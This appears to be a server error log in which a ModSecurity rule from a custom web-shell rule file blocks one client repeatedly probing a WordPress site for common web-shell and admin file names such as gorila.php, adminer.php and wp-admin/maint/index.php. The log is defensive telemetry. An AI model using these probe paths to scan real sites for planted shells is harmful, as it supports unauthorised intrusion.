[Mon Mar 30 03:49:16.855651 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:32469] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "acmCPKnf-DXI9VblHi0bYgAAAA4"]
[Mon Mar 30 03:49:17.615532 2026] [:error] [pid 4040:tid 4122] [client 51.120.74.80:36481] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "acmCPQxlbJV8kpOpFvY7qgAAAI4"]
[Mon Mar 30 03:49:18.191393 2026] [:error] [pid 4034:tid 4096] [client 51.120.74.80:36511] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "acmCPrfAq8eF_uU4gu2DBwAAAE8"]
[Mon Mar 30 03:49:18.966427 2026] [:error] [pid 55884:tid 55965] [client 51.120.74.80:52263] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "acmCPjjuYLVkve3Vbhxf8AAAAQw"]
[Mon Mar 30 03:49:19.660536 2026] [:error] [pid 4040:tid 4131] [client 51.120.74.80:51666] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "acmCPwxlbJV8kpOpFvY7rQAAAJc"]
[Mon Mar 30 03:49:20.213557 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:53315] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "acmCQKnf-DXI9VblHi0bcAAAAAE"]
[Mon Mar 30 03:49:20.928204 2026] [:error] [pid 4034:tid 4089] [client 51.120.74.80:51707] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file52.php"] [unique_id "acmCQLfAq8eF_uU4gu2DDQAAAEg"]
[Mon Mar 30 03:49:21.570626 2026] [:error] [pid 4033:tid 4062] [client 51.120.74.80:51216] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file52.php"] [unique_id "acmCQanf-DXI9VblHi0beAAAAAk"]
[Mon Mar 30 03:49:22.156480 2026] [:error] [pid 4033:tid 4070] [client 51.120.74.80:20866] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file52.php"] [unique_id "acmCQqnf-DXI9VblHi0bfAAAABE"]
[Mon Mar 30 03:49:22.888165 2026] [:error] [pid 4033:tid 4057] [client 51.120.74.80:14737] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file52.php"] [unique_id "acmCQqnf-DXI9VblHi0bhwAAAAQ"]
[Mon Mar 30 03:49:23.420424 2026] [:error] [pid 4033:tid 4075] [client 51.120.74.80:48472] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zde.php"] [unique_id "acmCQ6nf-DXI9VblHi0bigAAABY"]
[Mon Mar 30 03:49:24.182281 2026] [:error] [pid 4034:tid 4083] [client 51.120.74.80:14737] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zde.php"] [unique_id "acmCRLfAq8eF_uU4gu2DEAAAAEI"]
[Mon Mar 30 03:49:24.756443 2026] [:error] [pid 4034:tid 4105] [client 51.120.74.80:4776] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zde.php"] [unique_id "acmCRLfAq8eF_uU4gu2DEwAAAFg"]
[Mon Mar 30 03:49:25.299635 2026] [:error] [pid 55884:tid 55972] [client 51.120.74.80:23159] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zde.php"] [unique_id "acmCRTjuYLVkve3Vbhxf-wAAARM"]
[Mon Mar 30 03:49:25.885784 2026] [:error] [pid 55884:tid 55955] [client 51.120.74.80:51315] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "acmCRTjuYLVkve3Vbhxf_gAAAQI"]
[Mon Mar 30 03:49:26.405250 2026] [:error] [pid 4040:tid 4121] [client 51.120.74.80:52258] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "acmCRgxlbJV8kpOpFvY7vQAAAI0"]
[Mon Mar 30 03:49:26.992283 2026] [:error] [pid 4139:tid 4160] [client 51.120.74.80:51651] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "acmCRoYyhg47TZoaP9LwIAAAAM0"]
[Mon Mar 30 03:49:27.543620 2026] [:error] [pid 4040:tid 4113] [client 51.120.74.80:52256] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpo.php"] [unique_id "acmCRwxlbJV8kpOpFvY7wQAAAIU"]
[Mon Mar 30 03:49:28.099051 2026] [:error] [pid 4033:tid 4068] [client 51.120.74.80:39932] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "acmCSKnf-DXI9VblHi0bsgAAAA8"]
[Mon Mar 30 03:49:28.724512 2026] [:error] [pid 55884:tid 55966] [client 51.120.74.80:23659] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "acmCSDjuYLVkve3VbhxgCwAAAQ0"]
[Mon Mar 30 03:49:29.308021 2026] [:error] [pid 55884:tid 55974] [client 51.120.74.80:45177] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "acmCSTjuYLVkve3VbhxgDQAAARU"]
[Mon Mar 30 03:49:29.874037 2026] [:error] [pid 4033:tid 4075] [client 51.120.74.80:49327] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "acmCSanf-DXI9VblHi0bvQAAABY"]
[Mon Mar 30 03:49:30.568166 2026] [:error] [pid 4033:tid 4060] [client 51.120.74.80:32508] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "acmCSqnf-DXI9VblHi0bvwAAAAc"]
[Mon Mar 30 03:49:31.131349 2026] [:error] [pid 4033:tid 4057] [client 51.120.74.80:49320] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "acmCS6nf-DXI9VblHi0bxQAAAAQ"]
[Mon Mar 30 03:49:31.770891 2026] [:error] [pid 4033:tid 4074] [client 51.120.74.80:48811] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "acmCS6nf-DXI9VblHi0bywAAABU"]
[Mon Mar 30 03:49:32.408069 2026] [:error] [pid 4040:tid 4132] [client 51.120.74.80:57403] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "acmCTAxlbJV8kpOpFvY7zQAAAJg"]
[Mon Mar 30 03:49:33.113794 2026] [:error] [pid 4040:tid 4123] [client 51.120.74.80:27717] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "acmCTQxlbJV8kpOpFvY7zwAAAI8"]
[Mon Mar 30 03:49:33.766761 2026] [:error] [pid 4033:tid 4075] [client 51.120.74.80:31187] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "acmCTanf-DXI9VblHi0b1QAAABY"]
[Mon Mar 30 03:49:34.463000 2026] [:error] [pid 4033:tid 4072] [client 51.120.74.80:51676] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "acmCTqnf-DXI9VblHi0b1wAAABM"]
[Mon Mar 30 03:49:35.142649 2026] [:error] [pid 55884:tid 55975] [client 51.120.74.80:47754] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filer.php"] [unique_id "acmCTzjuYLVkve3VbhxgJQAAARY"]
[Mon Mar 30 03:49:35.886900 2026] [:error] [pid 55884:tid 55977] [client 51.120.74.80:39879] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lites.php"] [unique_id "acmCTzjuYLVkve3VbhxgKwAAARg"]
[Mon Mar 30 03:49:36.542368 2026] [:error] [pid 55884:tid 55974] [client 51.120.74.80:45178] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lites.php"] [unique_id "acmCUDjuYLVkve3VbhxgLwAAARU"]
[Mon Mar 30 03:49:37.442875 2026] [:error] [pid 4033:tid 4061] [client 51.120.74.80:42671] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lites.php"] [unique_id "acmCUanf-DXI9VblHi0b5AAAAAg"]
[Mon Mar 30 03:49:38.103314 2026] [:error] [pid 4040:tid 4114] [client 51.120.74.80:47780] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lites.php"] [unique_id "acmCUgxlbJV8kpOpFvY71AAAAIY"]
[Mon Mar 30 03:49:38.882044 2026] [:error] [pid 4139:tid 4149] [client 51.120.74.80:30582] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "acmCUoYyhg47TZoaP9LwNwAAAMI"]
[Mon Mar 30 03:49:39.690255 2026] [:error] [pid 55884:tid 55956] [client 51.120.74.80:52217] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "acmCUzjuYLVkve3VbhxgPQAAAQM"]
[Mon Mar 30 03:49:40.213171 2026] [:error] [pid 4033:tid 4055] [client 51.120.74.80:45133] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "acmCVKnf-DXI9VblHi0b7AAAAAI"]
[Mon Mar 30 03:49:40.770906 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:51694] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "acmCVKnf-DXI9VblHi0b9gAAAAE"]
[Mon Mar 30 03:49:41.436472 2026] [:error] [pid 4034:tid 4095] [client 51.120.74.80:41190] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "acmCVbfAq8eF_uU4gu2DPgAAAE4"]
[Mon Mar 30 03:49:41.957885 2026] [:error] [pid 4139:tid 4164] [client 51.120.74.80:4203] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "acmCVYYyhg47TZoaP9LwPAAAANE"]
[Mon Mar 30 03:49:42.582161 2026] [:error] [pid 55884:tid 55956] [client 51.120.74.80:48506] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "acmCVjjuYLVkve3VbhxgQwAAAQM"]
[Mon Mar 30 03:49:43.175270 2026] [:error] [pid 4034:tid 4092] [client 51.120.74.80:48455] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "acmCV7fAq8eF_uU4gu2DQQAAAEs"]
[Mon Mar 30 03:49:43.766528 2026] [:error] [pid 4034:tid 4090] [client 51.120.74.80:23191] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "acmCV7fAq8eF_uU4gu2DRAAAAEk"]
[Mon Mar 30 03:49:44.322685 2026] [:error] [pid 4034:tid 4094] [client 51.120.74.80:48776] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "acmCWLfAq8eF_uU4gu2DRQAAAE0"]
[Mon Mar 30 03:49:44.899896 2026] [:error] [pid 4040:tid 4126] [client 51.120.74.80:52219] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "acmCWAxlbJV8kpOpFvY73gAAAJI"]
[Mon Mar 30 03:49:45.779357 2026] [:error] [pid 4040:tid 4110] [client 51.120.74.80:4176] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "acmCWQxlbJV8kpOpFvY75gAAAII"]
[Mon Mar 30 03:49:46.448980 2026] [:error] [pid 4139:tid 4148] [client 51.120.74.80:51664] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "acmCWoYyhg47TZoaP9LwQQAAAME"]
[Mon Mar 30 03:49:47.120670 2026] [:error] [pid 55884:tid 55960] [client 51.120.74.80:23128] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "acmCWzjuYLVkve3VbhxgTQAAAQc"]
[Mon Mar 30 03:49:47.658819 2026] [:error] [pid 55884:tid 55959] [client 51.120.74.80:20873] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "acmCWzjuYLVkve3VbhxgTwAAAQY"]
[Mon Mar 30 03:49:48.292309 2026] [:error] [pid 55884:tid 55957] [client 51.120.74.80:48816] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "acmCXDjuYLVkve3VbhxgUQAAAQQ"]
[Mon Mar 30 03:49:48.956943 2026] [:error] [pid 55884:tid 55956] [client 51.120.74.80:35050] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filename.php"] [unique_id "acmCXDjuYLVkve3VbhxgVAAAAQM"]
[Mon Mar 30 03:49:49.595428 2026] [:error] [pid 55884:tid 55971] [client 51.120.74.80:35022] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filename.php"] [unique_id "acmCXTjuYLVkve3VbhxgWgAAARI"]
[Mon Mar 30 03:49:50.140063 2026] [:error] [pid 55884:tid 55959] [client 51.120.74.80:52220] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filename.php"] [unique_id "acmCXjjuYLVkve3VbhxgXAAAAQY"]
[Mon Mar 30 03:49:50.778879 2026] [:error] [pid 4033:tid 4064] [client 51.120.74.80:30554] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filename.php"] [unique_id "acmCXqnf-DXI9VblHi0cKgAAAAs"]
[Mon Mar 30 03:49:51.298460 2026] [:error] [pid 4139:tid 4161] [client 51.120.74.80:42642] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "acmCX4Yyhg47TZoaP9LwTQAAAM4"]
[Mon Mar 30 03:49:51.842372 2026] [:error] [pid 4139:tid 4151] [client 51.120.74.80:20888] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "acmCX4Yyhg47TZoaP9LwUAAAAMQ"]
[Mon Mar 30 03:49:52.416776 2026] [:error] [pid 4139:tid 4149] [client 51.120.74.80:47841] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "acmCYIYyhg47TZoaP9LwUQAAAMI"]
